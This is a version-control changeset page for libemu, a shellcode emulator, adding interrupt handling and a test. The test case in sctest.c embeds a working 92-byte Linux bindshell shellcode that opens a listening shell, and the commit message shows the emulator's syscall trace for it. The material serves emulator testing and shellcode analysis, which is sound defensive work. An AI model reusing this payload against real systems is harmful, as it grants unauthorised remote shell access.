Changeset 1429

Show
Ignore:
Timestamp:
10/30/07 11:03:46 (10 months ago)
Author:
common
Message:

libemu

  • drafting int hooking for a linux env, the switch structure is way too long, structs are preferable, and the code should move to environment/linux, but at least it shows some basic actions for now

'sctest -t 24 -s 100
verbose = 0
testing (#24) 'linux bindshell' sys_socket(2)
sys_bind(2)
sys_listen(2)
sys_accept(2)
sys_dup2
sys_dup2
sys_dup2
sys_dup2
sys_dup2
sys_execve
cpu error error accessing 0x0000000b not mapped

stepcount 73
'

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • libemu/trunk/CHANGES

    r1383 r1429  
    11                Changelog for libemu 
    22 
    3 xx.09.2007 libemu 0.1.0 
     319.09.2007 libemu 0.1.0 
    44 - initial release 
    55 
  • libemu/trunk/include/emu/emu_cpu_functions.h

    r1428 r1429  
    404404 
    405405/* int */ 
    406 //int32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i); 
     406int32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i); 
    407407 
    408408#endif /*HAVE_EMU_CPU_FUNCTIONS_H*/                            
  • libemu/trunk/include/emu/emu_cpu_itables.h

    r1428 r1429  
    268268        /* cb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, 
    269269        /* cc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, 
    270         /* cd */ {0, "int", {0, 0, 0, II_IMM8, 0, 0, 0, 0}}, // instr_int_cd 
     270        /* cd */ {instr_int_cd, "int", {0, 0, 0, II_IMM8, 0, 0, 0, 0}},  
    271271        /* ce */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, 
    272272        /* cf */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, 
  • libemu/trunk/src/Makefile.am

    r1368 r1429  
    4545libemu_la_SOURCES += functions/imul.c 
    4646libemu_la_SOURCES += functions/inc.c 
     47libemu_la_SOURCES += functions/int.c 
    4748libemu_la_SOURCES += functions/jcc.c 
    4849libemu_la_SOURCES += functions/jmp.c 
  • libemu/trunk/testsuite/sctest.c

    r1403 r1429  
    14721472                 
    14731473        }, 
     1474        { 
     1475                .instr = "linux bindshell", 
     1476                .code =  "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" 
     1477                                 "\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0" 
     1478                                 "\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50" 
     1479                                 "\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49" 
     1480                                 "\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" 
     1481                                 "\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80", 
     1482                .codesize = 92, 
     1483                .in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg 
     1484                .in_state.mem_state = {0, 0}, 
     1485        }, 
    14741486        /*{ 
    14751487                .instr = "",